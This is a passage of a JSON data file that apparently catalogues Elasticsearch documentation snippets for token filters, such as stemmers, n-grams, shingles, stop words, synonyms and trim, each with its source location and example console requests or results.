0,\n \"end_offset\": 3,\n \"type\": \"word\",\n \"position\": 0,\n \"keyword\": true\n },\n {\n \"token\": \"running\",\n \"start_offset\": 4,\n \"end_offset\": 11,\n \"type\": \"word\",\n \"position\": 1,\n \"keyword\": true\n },\n {\n \"token\": \"run\",\n \"start_offset\": 4,\n \"end_offset\": 11,\n \"type\": \"word\",\n \"position\": 1,\n \"keyword\": false\n },\n {\n \"token\": \"and\",\n \"start_offset\": 12,\n \"end_offset\": 15,\n \"type\": \"word\",\n \"position\": 2,\n \"keyword\": true\n },\n {\n \"token\": \"jumping\",\n \"start_offset\": 16,\n \"end_offset\": 23,\n \"type\": \"word\",\n \"position\": 3,\n \"keyword\": true\n },\n {\n \"token\": \"jump\",\n \"start_offset\": 16,\n \"end_offset\": 23,\n \"type\": \"word\",\n \"position\": 3,\n \"keyword\": false\n }\n ]\n }\n ]\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/keyword-repeat-tokenfilter.asciidoc","line":384},"digest":"834764b2fba6cbb41eaabd740be75656","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_custom_analyzer\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"keyword_repeat\",\n \"porter_stem\",\n \"remove_duplicates\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/kstem-tokenfilter.asciidoc","line":29},"digest":"68a891f609ca3a379d2d64e4914f3067","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"standard\",\n \"filter\": [ \"kstem\" ],\n \"text\": \"the foxes jumping quickly\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/kstem-tokenfilter.asciidoc","line":98},"digest":"3f60a892bed18151b7baac6cc712576a","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [\n \"lowercase\",\n \"kstem\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/length-tokenfilter.asciidoc","line":27},"digest":"1659420311d907d9fc024b96f4150216","lang":"console","found":["ruby"],"source":"GET _analyze\n{\n \"tokenizer\": \"whitespace\",\n \"filter\": [\n {\n \"type\": \"length\",\n \"min\": 0,\n \"max\": 4\n }\n ],\n \"text\": \"the quick brown fox jumps over the lazy dog\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/length-tokenfilter.asciidoc","line":109},"digest":"ea690283f301c6ce957efad93d7d5c5d","lang":"console","found":["ruby"],"source":"PUT length_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"standard_length\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"length\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/length-tokenfilter.asciidoc","line":149},"digest":"d88f883ed2fb8be35cd3e72ddffcf4ef","lang":"console","found":["ruby"],"source":"PUT length_custom_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"whitespace_length_2_to_10_char\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"length_2_to_10_char\" ]\n }\n },\n \"filter\": {\n \"length_2_to_10_char\": {\n \"type\": \"length\",\n \"min\": 2,\n \"max\": 10\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/limit-token-count-tokenfilter.asciidoc","line":43},"digest":"5a3855f1b3e37d89ab7cbcc4f7ae1dd3","lang":"console","found":["ruby"],"source":"GET _analyze\n{\n \"tokenizer\": \"standard\",\n \"filter\": [\n {\n \"type\": \"limit\",\n \"max_token_count\": 2\n }\n ],\n \"text\": \"quick fox jumps over lazy dog\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/limit-token-count-tokenfilter.asciidoc","line":96},"digest":"b96f465abb658fe32889c3d183f159a3","lang":"console","found":["ruby"],"source":"PUT limit_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"standard_one_token_limit\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"limit\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/limit-token-count-tokenfilter.asciidoc","line":123},"digest":"63521e0089c631d6668c44a0a9d7fdcc","lang":"console","found":["ruby"],"source":"PUT custom_limit_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"whitespace_five_token_limit\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"five_token_limit\" ]\n }\n },\n \"filter\": {\n \"five_token_limit\": {\n \"type\": \"limit\",\n \"max_token_count\": 5\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/lowercase-tokenfilter.asciidoc","line":20},"digest":"aa3284717241ed79d3d1d3bdbbdce598","lang":"console","found":["ruby"],"source":"GET _analyze\n{\n \"tokenizer\" : \"standard\",\n \"filter\" : [\"lowercase\"],\n \"text\" : \"THE Quick FoX JUMPs\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/lowercase-tokenfilter.asciidoc","line":82},"digest":"8e9f7261af6264c92d0eb4d586a176f9","lang":"console","found":["ruby"],"source":"PUT lowercase_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"whitespace_lowercase\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"lowercase\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/lowercase-tokenfilter.asciidoc","line":131},"digest":"f268416813befd13c604642c6fe6eda9","lang":"console","found":["ruby"],"source":"PUT custom_lowercase_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"greek_lowercase_example\": {\n \"type\": \"custom\",\n \"tokenizer\": \"standard\",\n \"filter\": [\"greek_lowercase\"]\n }\n },\n \"filter\": {\n \"greek_lowercase\": {\n \"type\": \"lowercase\",\n \"language\": \"greek\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/minhash-tokenfilter.asciidoc","line":134},"digest":"464dffb6a6e24a860223d1c32b232f95","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"my_shingle_filter\": { <1>\n \"type\": \"shingle\",\n \"min_shingle_size\": 5,\n \"max_shingle_size\": 5,\n \"output_unigrams\": false\n },\n \"my_minhash_filter\": {\n \"type\": \"min_hash\",\n \"hash_count\": 1, <2>\n \"bucket_count\": 512, <3>\n \"hash_set_size\": 1, <4>\n \"with_rotation\": true <5>\n }\n },\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"my_shingle_filter\",\n \"my_minhash_filter\"\n ]\n }\n }\n }\n },\n \"mappings\": {\n \"properties\": {\n \"fingerprint\": {\n \"type\": \"text\",\n \"analyzer\": \"my_analyzer\"\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/multiplexer-tokenfilter.asciidoc","line":36},"digest":"2e364833626c9790c042c8f006fcc999","lang":"console","found":["ruby"],"source":"PUT /multiplexer_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"my_multiplexer\" ]\n }\n },\n \"filter\": {\n \"my_multiplexer\": {\n \"type\": \"multiplexer\",\n \"filters\": [ \"lowercase\", \"lowercase, porter_stem\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/multiplexer-tokenfilter.asciidoc","line":61},"digest":"fa9a3ef94470f3d9bd6500b65bf993d1","lang":"console","found":["ruby"],"source":"POST /multiplexer_example/_analyze\n{\n \"analyzer\" : \"my_analyzer\",\n \"text\" : \"Going HOME\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/multiplexer-tokenfilter.asciidoc","line":73},"digest":"3b7cbf575fe4305af42563b9046ca3be","lang":"console-result","found":[],"source":"{\n \"tokens\": [\n {\n \"token\": \"Going\",\n \"start_offset\": 0,\n \"end_offset\": 5,\n \"type\": \"\",\n \"position\": 0\n },\n {\n \"token\": \"going\",\n \"start_offset\": 0,\n \"end_offset\": 5,\n \"type\": \"\",\n \"position\": 0\n },\n {\n \"token\": \"go\",\n \"start_offset\": 0,\n \"end_offset\": 5,\n \"type\": \"\",\n \"position\": 0\n },\n {\n \"token\": \"HOME\",\n \"start_offset\": 6,\n \"end_offset\": 10,\n \"type\": \"\",\n \"position\": 1\n },\n {\n \"token\": \"home\", <1>\n \"start_offset\": 6,\n \"end_offset\": 10,\n \"type\": \"\",\n \"position\": 1\n }\n ]\n}"}, {"source_location":{"file":"analysis/tokenfilters/ngram-tokenfilter.asciidoc","line":30},"digest":"f65abb38dd0cfedeb06e0cef206fbdab","lang":"console","found":["ruby"],"source":"GET _analyze\n{\n \"tokenizer\": \"standard\",\n \"filter\": [ \"ngram\" ],\n \"text\": \"Quick fox\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/ngram-tokenfilter.asciidoc","line":161},"digest":"923aee95078219ee6eb321a252e1121b","lang":"console","found":["ruby"],"source":"PUT ngram_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"standard_ngram\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"ngram\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/ngram-tokenfilter.asciidoc","line":208},"digest":"2793fa53b7d269852aa74f6bf57e34dc","lang":"console","found":["ruby"],"source":"PUT ngram_custom_example\n{\n \"settings\": {\n \"index\": {\n \"max_ngram_diff\": 2\n },\n \"analysis\": {\n \"analyzer\": {\n \"default\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"3_5_grams\" ]\n }\n },\n \"filter\": {\n \"3_5_grams\": {\n \"type\": \"ngram\",\n \"min_gram\": 3,\n \"max_gram\": 5\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/pattern-capture-tokenfilter.asciidoc","line":51},"digest":"f733b25cd4c448b226bb76862974eef2","lang":"console","found":["ruby"],"source":"PUT test\n{\n \"settings\" : {\n \"analysis\" : {\n \"filter\" : {\n \"code\" : {\n \"type\" : \"pattern_capture\",\n \"preserve_original\" : true,\n \"patterns\" : [\n \"(\\\\p{Ll}+|\\\\p{Lu}\\\\p{Ll}+|\\\\p{Lu}+)\",\n \"(\\\\d+)\"\n ]\n }\n },\n \"analyzer\" : {\n \"code\" : {\n \"tokenizer\" : \"pattern\",\n \"filter\" : [ \"code\", \"lowercase\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/pattern-capture-tokenfilter.asciidoc","line":91},"digest":"080c34d8151d02b760571e3a2899fa97","lang":"console","found":["ruby"],"source":"PUT test\n{\n \"settings\" : {\n \"analysis\" : {\n \"filter\" : {\n \"email\" : {\n \"type\" : \"pattern_capture\",\n \"preserve_original\" : true,\n \"patterns\" : [\n \"([^@]+)\",\n \"(\\\\p{L}+)\",\n \"(\\\\d+)\",\n \"@(.+)\"\n ]\n }\n },\n \"analyzer\" : {\n \"email\" : {\n \"tokenizer\" : \"uax_url_email\",\n \"filter\" : [ \"email\", \"lowercase\", \"unique\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/pattern_replace-tokenfilter.asciidoc","line":36},"digest":"2ec8d757188349a4630e120ba2c98c3b","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"whitespace\",\n \"filter\": [\n {\n \"type\": \"pattern_replace\",\n \"pattern\": \"(dog)\",\n \"replacement\": \"watch$1\"\n }\n ],\n \"text\": \"foxes jump lazy dogs\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/pattern_replace-tokenfilter.asciidoc","line":133},"digest":"9f286416f1b18940f13cb27ab5c8458e","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"keyword\",\n \"filter\": [\n \"my_pattern_replace_filter\"\n ]\n }\n },\n \"filter\": {\n \"my_pattern_replace_filter\": {\n \"type\": \"pattern_replace\",\n \"pattern\": \"[£|€]\",\n \"replacement\": \"\",\n \"all\": false\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/porterstem-tokenfilter.asciidoc","line":28},"digest":"0d54ddad2bf6f76aa5c35f53ba77748a","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"standard\",\n \"filter\": [ \"porter_stem\" ],\n \"text\": \"the foxes jumping quickly\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/porterstem-tokenfilter.asciidoc","line":97},"digest":"0f547926ebf092e19fc5fb433e9ac8c1","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [\n \"lowercase\",\n \"porter_stem\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/predicate-tokenfilter.asciidoc","line":20},"digest":"a159143bb578403bb9c7ff37d635d7ad","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"whitespace\",\n \"filter\": [\n {\n \"type\": \"predicate_token_filter\",\n \"script\": {\n \"source\": \"\"\"\n token.term.length() > 3\n \"\"\"\n }\n }\n ],\n \"text\": \"the fox jumps the lazy dog\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/predicate-tokenfilter.asciidoc","line":53},"digest":"aa9db2683a9417b514f32d087ca10468","lang":"console-result","found":[],"source":"{\n \"tokens\" : [\n {\n \"token\" : \"jumps\",\n \"start_offset\" : 8,\n \"end_offset\" : 13,\n \"type\" : \"word\",\n \"position\" : 2\n },\n {\n \"token\" : \"lazy\",\n \"start_offset\" : 18,\n \"end_offset\" : 22,\n \"type\" : \"word\",\n \"position\" : 4\n }\n ]\n}"}, {"source_location":{"file":"analysis/tokenfilters/predicate-tokenfilter.asciidoc","line":102},"digest":"d3e9e1169c3514fd46e253cd8b5ae3cb","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"my_script_filter\"\n ]\n }\n },\n \"filter\": {\n \"my_script_filter\": {\n \"type\": \"predicate_token_filter\",\n \"script\": {\n \"source\": \"\"\"\n token.type.contains(\"ALPHANUM\")\n \"\"\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/remove-duplicates-tokenfilter.asciidoc","line":24},"digest":"15d948d593d2624ac5e2b155052048f0","lang":"console","found":["ruby"],"source":"GET _analyze\n{\n \"tokenizer\": \"whitespace\",\n \"filter\": [\n \"keyword_repeat\",\n \"stemmer\"\n ],\n \"text\": \"jumping dog\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/remove-duplicates-tokenfilter.asciidoc","line":40},"digest":"9ecf59043a40c3344523501baa53f933","lang":"console-result","found":[],"source":"{\n \"tokens\": [\n {\n \"token\": \"jumping\",\n \"start_offset\": 0,\n \"end_offset\": 7,\n \"type\": \"word\",\n \"position\": 0\n },\n {\n \"token\": \"jump\",\n \"start_offset\": 0,\n \"end_offset\": 7,\n \"type\": \"word\",\n \"position\": 0\n },\n {\n \"token\": \"dog\",\n \"start_offset\": 8,\n \"end_offset\": 11,\n \"type\": \"word\",\n \"position\": 1\n },\n {\n \"token\": \"dog\",\n \"start_offset\": 8,\n \"end_offset\": 11,\n \"type\": \"word\",\n \"position\": 1\n }\n ]\n}"}, {"source_location":{"file":"analysis/tokenfilters/remove-duplicates-tokenfilter.asciidoc","line":79},"digest":"bab4c3b22c1768fcc7153345e4096dfb","lang":"console","found":["ruby"],"source":"GET _analyze\n{\n \"tokenizer\": \"whitespace\",\n \"filter\": [\n \"keyword_repeat\",\n \"stemmer\",\n \"remove_duplicates\"\n ],\n \"text\": \"jumping dog\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/remove-duplicates-tokenfilter.asciidoc","line":96},"digest":"547e7047e8a8ec29337bf4abc3ce8e5a","lang":"console-result","found":[],"source":"{\n \"tokens\": [\n {\n \"token\": \"jumping\",\n \"start_offset\": 0,\n \"end_offset\": 7,\n \"type\": \"word\",\n \"position\": 0\n },\n {\n \"token\": \"jump\",\n \"start_offset\": 0,\n \"end_offset\": 7,\n \"type\": \"word\",\n \"position\": 0\n },\n {\n \"token\": \"dog\",\n \"start_offset\": 8,\n \"end_offset\": 11,\n \"type\": \"word\",\n \"position\": 1\n }\n ]\n}"}, {"source_location":{"file":"analysis/tokenfilters/remove-duplicates-tokenfilter.asciidoc","line":136},"digest":"e09ee13ce253c7892dd5ef076fbfbba5","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_custom_analyzer\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"keyword_repeat\",\n \"stemmer\",\n \"remove_duplicates\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/reverse-tokenfilter.asciidoc","line":24},"digest":"e09d30195108bd6a1f6857394a6123ea","lang":"console","found":["ruby"],"source":"GET _analyze\n{\n \"tokenizer\" : \"standard\",\n \"filter\" : [\"reverse\"],\n \"text\" : \"quick fox jumps\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/reverse-tokenfilter.asciidoc","line":79},"digest":"aa5fbb68d3a8e0d0c894791cb6cf0b13","lang":"console","found":["ruby"],"source":"PUT reverse_example\n{\n \"settings\" : {\n \"analysis\" : {\n \"analyzer\" : {\n \"whitespace_reverse\" : {\n \"tokenizer\" : \"whitespace\",\n \"filter\" : [\"reverse\"]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/shingle-tokenfilter.asciidoc","line":31},"digest":"c065a200c00e2005d88ec2f0c10c908a","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"shingle\" ],\n \"text\": \"quick brown fox jumps\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/shingle-tokenfilter.asciidoc","line":116},"digest":"ac366b9dda7040e743dee85335354094","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"whitespace\",\n \"filter\": [\n {\n \"type\": \"shingle\",\n \"min_shingle_size\": 2,\n \"max_shingle_size\": 3\n }\n ],\n \"text\": \"quick brown fox jumps\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/shingle-tokenfilter.asciidoc","line":220},"digest":"56fa6c9e08258157d445e2f92274962b","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"whitespace\",\n \"filter\": [\n {\n \"type\": \"shingle\",\n \"min_shingle_size\": 2,\n \"max_shingle_size\": 3,\n \"output_unigrams\": false\n }\n ],\n \"text\": \"quick brown fox jumps\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/shingle-tokenfilter.asciidoc","line":298},"digest":"10e4c1f246ada8c6b500d8ea6c1e335f","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"standard_shingle\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"shingle\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/shingle-tokenfilter.asciidoc","line":374},"digest":"12ec704d62ffedcb03787e6aba69d382","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"whitespace\",\n \"filter\": [\n {\n \"type\": \"stop\",\n \"stopwords\": [ \"a\" ]\n },\n {\n \"type\": \"shingle\",\n \"filler_token\": \"+\"\n }\n ],\n \"text\": \"fox jumps a lazy dog\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/shingle-tokenfilter.asciidoc","line":488},"digest":"5d7980d8c745abf7ea0fa573e818bd5b","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"en\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"my_shingle_filter\" ]\n }\n },\n \"filter\": {\n \"my_shingle_filter\": {\n \"type\": \"shingle\",\n \"min_shingle_size\": 2,\n \"max_shingle_size\": 5,\n \"output_unigrams\": false\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/snowball-tokenfilter.asciidoc","line":17},"digest":"3ff634a50e2e4556bad7ea8553576992","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"lowercase\", \"my_snow\" ]\n }\n },\n \"filter\": {\n \"my_snow\": {\n \"type\": \"snowball\",\n \"language\": \"Lovins\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/stemmer-tokenfilter.asciidoc","line":23},"digest":"a4e510aa9145ccedae151c4a6634f0a4","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"standard\",\n \"filter\": [ \"stemmer\" ],\n \"text\": \"the foxes jumping quickly\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/stemmer-tokenfilter.asciidoc","line":85},"digest":"006e0e16c9f1da58c0bfe57377f7fc38","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"stemmer\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/stemmer-tokenfilter.asciidoc","line":265},"digest":"3cd93a48906069709b76420c66930c01","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"my_stemmer\"\n ]\n }\n },\n \"filter\": {\n \"my_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"light_german\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/stemmer-override-tokenfilter.asciidoc","line":25},"digest":"7d9eba51a269571ae62fb8b442b373ce","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"lowercase\", \"custom_stems\", \"porter_stem\" ]\n }\n },\n \"filter\": {\n \"custom_stems\": {\n \"type\": \"stemmer_override\",\n \"rules_path\": \"analysis/stemmer_override.txt\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/stemmer-override-tokenfilter.asciidoc","line":57},"digest":"9ba6f1e64c1dfff5aac26eaa1d093f48","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"lowercase\", \"custom_stems\", \"porter_stem\" ]\n }\n },\n \"filter\": {\n \"custom_stems\": {\n \"type\": \"stemmer_override\",\n \"rules\": [\n \"running, runs => run\",\n \"stemmer => stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/stop-tokenfilter.asciidoc","line":31},"digest":"e9738fe09a99080506a07945795e8eda","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"standard\",\n \"filter\": [ \"stop\" ],\n \"text\": \"a quick fox jumps over the lazy dog\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/stop-tokenfilter.asciidoc","line":106},"digest":"37eaab0630976d3dee90a52011342883","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"stop\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/stop-tokenfilter.asciidoc","line":183},"digest":"3aa0e2d25a51bf5f3f0bda7fd8403bf2","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"default\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"my_custom_stop_words_filter\" ]\n }\n },\n \"filter\": {\n \"my_custom_stop_words_filter\": {\n \"type\": \"stop\",\n \"ignore_case\": true\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/stop-tokenfilter.asciidoc","line":210},"digest":"af746266a49a693ff6170c88da8a8c04","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"default\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"my_custom_stop_words_filter\" ]\n }\n },\n \"filter\": {\n \"my_custom_stop_words_filter\": {\n \"type\": \"stop\",\n \"ignore_case\": true,\n \"stopwords\": [ \"and\", \"is\", \"the\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/synonym-tokenfilter.asciidoc","line":81},"digest":"23aa7360acbc249d787947ae7f729114","lang":"console","found":["ruby"],"source":"PUT /test_index\n{\n \"settings\": {\n \"index\": {\n \"analysis\": {\n \"analyzer\": {\n \"synonym\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"my_stop\", \"synonym\" ]\n }\n },\n \"filter\": {\n \"my_stop\": {\n \"type\": \"stop\",\n \"stopwords\": [ \"bar\" ]\n },\n \"synonym\": {\n \"type\": \"synonym\",\n \"lenient\": true,\n \"synonyms\": [ \"foo, bar => baz\" ]\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/synonym-graph-tokenfilter.asciidoc","line":92},"digest":"ccc8ade54da0f1c0b204bf8e6de4bbc1","lang":"console","found":["ruby"],"source":"PUT /test_index\n{\n \"settings\": {\n \"index\": {\n \"analysis\": {\n \"analyzer\": {\n \"synonym\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"my_stop\", \"synonym_graph\" ]\n }\n },\n \"filter\": {\n \"my_stop\": {\n \"type\": \"stop\",\n \"stopwords\": [ \"bar\" ]\n },\n \"synonym_graph\": {\n \"type\": \"synonym_graph\",\n \"lenient\": true,\n \"synonyms\": [ \"foo, bar => baz\" ]\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/trim-tokenfilter.asciidoc","line":34},"digest":"c318fde926842722825a51e5c9c326a9","lang":"console","found":["ruby"],"source":"GET _analyze\n{\n \"tokenizer\" : \"keyword\",\n \"text\" : \" fox \"\n}"}, {"source_location":{"file":"analysis/tokenfilters/trim-tokenfilter.asciidoc","line":47},"digest":"63cffa23f7a230f837f07ceb83dc284e","lang":"console-result","found":[],"source":"{\n \"tokens\": [\n {\n \"token\": \" fox \",\n \"start_offset\": 0,\n \"end_offset\": 5,\n \"type\": \"word\",\n \"position\": 0\n }\n ]\n}"}, {"source_location":{"file":"analysis/tokenfilters/trim-tokenfilter.asciidoc","line":65},"digest":"a3a14f7f0e80725f695a901a7e1d579d","lang":"console","found":["ruby"],"source":"GET _analyze\n{\n \"tokenizer\" : \"keyword\",\n \"filter\" : [\"trim\"],\n \"text\" : \" fox \"\n}"}, {"source_location":{"file":"analysis/tokenfilters/trim-tokenfilter.asciidoc","line":78},"digest":"b38a60d5f2b2caf2134d5963558b78b6","lang":"console-result","found":[],"source":"{\n \"tokens\": [\n {\n \"token\": \"fox\",\n \"start_offset\": 0,\n \"end_offset\": 5,\n \"type\": \"word\",\n \"position\": 0\n }\n ]\n}"}, {"source_location":{"file":"analysis/tokenfilters/trim-tokenfilter.asciidoc","line":99},"digest":"fd26bfdbe95b2d2db374385d12849f77","lang":"console","found":["ruby"],"source":"PUT trim_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"keyword_trim\": {\n \"tokenizer\": \"keyword\",\n \"filter\": [ \"trim\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/truncate-tokenfilter.asciidoc","line":24},"digest":"ee2d97090d617ed8aa2a87ea33556dd7","lang":"console","found":["ruby"],"source":"GET _analyze\n{\n \"tokenizer\" : \"whitespace\",\n \"filter\" : [\"truncate\"],\n \"text\" : \"the quinquennial extravaganza carried on\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/truncate-tokenfilter.asciidoc","line":93},"digest":"f8651356ce2e7e93fa306c30f57ed588","lang":"console","found":["ruby"],"source":"PUT custom_truncate_example\n{\n \"settings\" : {\n \"analysis\" : {\n \"analyzer\" : {\n \"standard_truncate\" : {\n \"tokenizer\" : \"standard\",\n \"filter\" : [\"truncate\"]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/truncate-tokenfilter.asciidoc","line":128},"digest":"af84b3995564a7ca84360a526a4ac896","lang":"console","found":["ruby"],"source":"PUT 5_char_words_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"lowercase_5_char\": {\n \"tokenizer\": \"lowercase\",\n \"filter\": [ \"5_char_trunc\" ]\n }\n },\n \"filter\": {\n \"5_char_trunc\": {\n \"type\": \"truncate\",\n \"length\": 5\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/unique-tokenfilter.asciidoc","line":26},"digest":"50d5c5b7e8ed9a95b8d9a25a32a77425","lang":"console","found":["ruby"],"source":"GET _analyze\n{\n 